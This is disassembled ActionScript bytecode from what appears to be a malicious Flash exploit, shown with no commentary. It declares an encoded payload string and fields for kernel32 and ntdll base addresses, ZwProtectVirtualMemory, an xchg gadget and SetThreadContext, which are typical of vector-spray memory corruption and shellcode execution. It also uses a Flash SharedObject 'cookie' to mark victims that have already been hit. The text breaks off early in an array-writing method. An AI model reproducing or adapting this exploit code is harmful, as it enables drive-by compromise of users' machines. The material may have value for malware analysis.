var private::m_trg:String = "42ee4b892986a326ea5aad1017918a235b0c5e940c449a9d40a585ce8f7b9a0ae8b6f4f0af281700b2064a6015fc0f16389e3bb2881c7d8a66f795488b3433d998be87f7992abb833329d2e086f134a908510b82dec1db1f822db7bf25cd27e9983aaf2587188597a0dc02d58017a28899dfa5a68d6b7797a4ff008e9dde631865690065d4958b51209335a5fe4f4f25ad74a21ff75a49ba1d85c88382baaa283e7eba819b33868d30a02c7983f41566b7560e51ed24acc663c38a1169ecefeca6248054fdc51e35e024f97a7673f464d9da093c94cdb2c8f53f2edaab1f51ae62d8560ef63c87f642b1b19cf6e756439a9d25f4c017ff7c4db8e757b6be7c6f" /* slot_id 0 */
var private::work:flash.utils::Timer /* slot_id 0 */
var s:__AS3__.vec::Vector.<Object> /* slot_id 0 */
var tf:flash.text::TextField /* slot_id 0 */
var private::found:Boolean = false /* slot_id 0 */
var private::m_mark:Boolean = false /* slot_id 0 */
var private::repeat:uint = 4096 /* slot_id 0 */
var m_status:* = 0 /* slot_id 0 */
var private::m_longArrBase:uint = 0 /* slot_id 0 */
var private::m_longArrIdx:uint = 0 /* slot_id 0 */
var private::m_flashBase:uint = 0 /* slot_id 0 */
var private::m_flashVirtual:uint = 0 /* slot_id 0 */
var private::m_kernel32Base:uint = 0 /* slot_id 0 */
var private::m_ntdllBase:uint = 0 /* slot_id 0 */
var private::m_ZwProtectAddr:uint = 0 /* slot_id 0 */
var private::m_xchgInstAddr:uint = 0 /* slot_id 0 */
var private::m_SetThreadContext:uint = 0 /* slot_id 0 */
var m_iver:String /* slot_id 0 */
var org:String = "vector" /* slot_id 0 */
var m_mySo:flash.net::SharedObject /* slot_id 0 */
var m_Ostring:String = "Pidj7gbU" /* slot_id 0 */
var m_rawLen:* = 0 /* slot_id 0 */
var m_suf:* = 90466 /* slot_id 0 */
function private::ShareObjEx():Boolean /* disp_id=0 method_id=1 nameIndex = 46 */
{
// local_count=2 max_scope=1 max_stack=2 code_len=38
// method position=5309 code position=5721
0 getlocal0
1 pushscope
2 findpropstrict Date //nameIndex = 68
4 constructprop Date (0) //nameIndex = 68
7 callproperty http://adobe.com/AS3/2006/builtin::getTime (0) //nameIndex = 69
10 coerce_a
11 setlocal1
12 getlocal0
13 getproperty m_mySo //nameIndex = 41
15 getproperty data //nameIndex = 70
17 getlocal0
18 getproperty m_Ostring //nameIndex = 43
20 setproperty Cookie //nameIndex = 71
22 getlocal0
23 getproperty m_mySo //nameIndex = 41
25 getproperty data //nameIndex = 70
27 getlocal1
28 setproperty newDate //nameIndex = 72
30 getlocal0
31 getproperty m_mySo //nameIndex = 41
33 callpropvoid flush (0) //nameIndex = 73
36 pushtrue
37 returnvalue
}
function private::DetmineCookie():Boolean /* disp_id=0 method_id=2 nameIndex = 47 */
{
// local_count=1 max_scope=1 max_stack=2 code_len=52
// method position=5313 code position=5767
0 getlocal0
1 pushscope
2 getlocal0
3 getproperty m_mySo //nameIndex = 41
5 getproperty data //nameIndex = 70
7 pushstring "Cookie"
9 callproperty http://adobe.com/AS3/2006/builtin::hasOwnProperty (1) //nameIndex = 74
12 convert_b
13 dup
14 iffalse L1
18 pop
19 getlocal0
20 getproperty m_mySo //nameIndex = 41
22 getproperty data //nameIndex = 70
24 pushstring "newDate"
26 callproperty http://adobe.com/AS3/2006/builtin::hasOwnProperty (1) //nameIndex = 74
29 convert_b
L1:
30 iffalse L2
34 getlocal0
35 getproperty m_mySo //nameIndex = 41
37 getproperty data //nameIndex = 70
39 getproperty Cookie //nameIndex = 71
41 getlocal0
42 getproperty m_Ostring //nameIndex = 43
44 ifne L2
48 pushtrue
49 returnvalue
L2:
50 pushfalse
51 returnvalue
}
function setArrValue(uint,uint,uint):void /* disp_id=0 method_id=3 nameIndex = 48 */
{
// local_count=4 max_scope=1 max_stack=6 code_len=110
// method position=5317 code position=5827
0 getlocal0
1 pushscope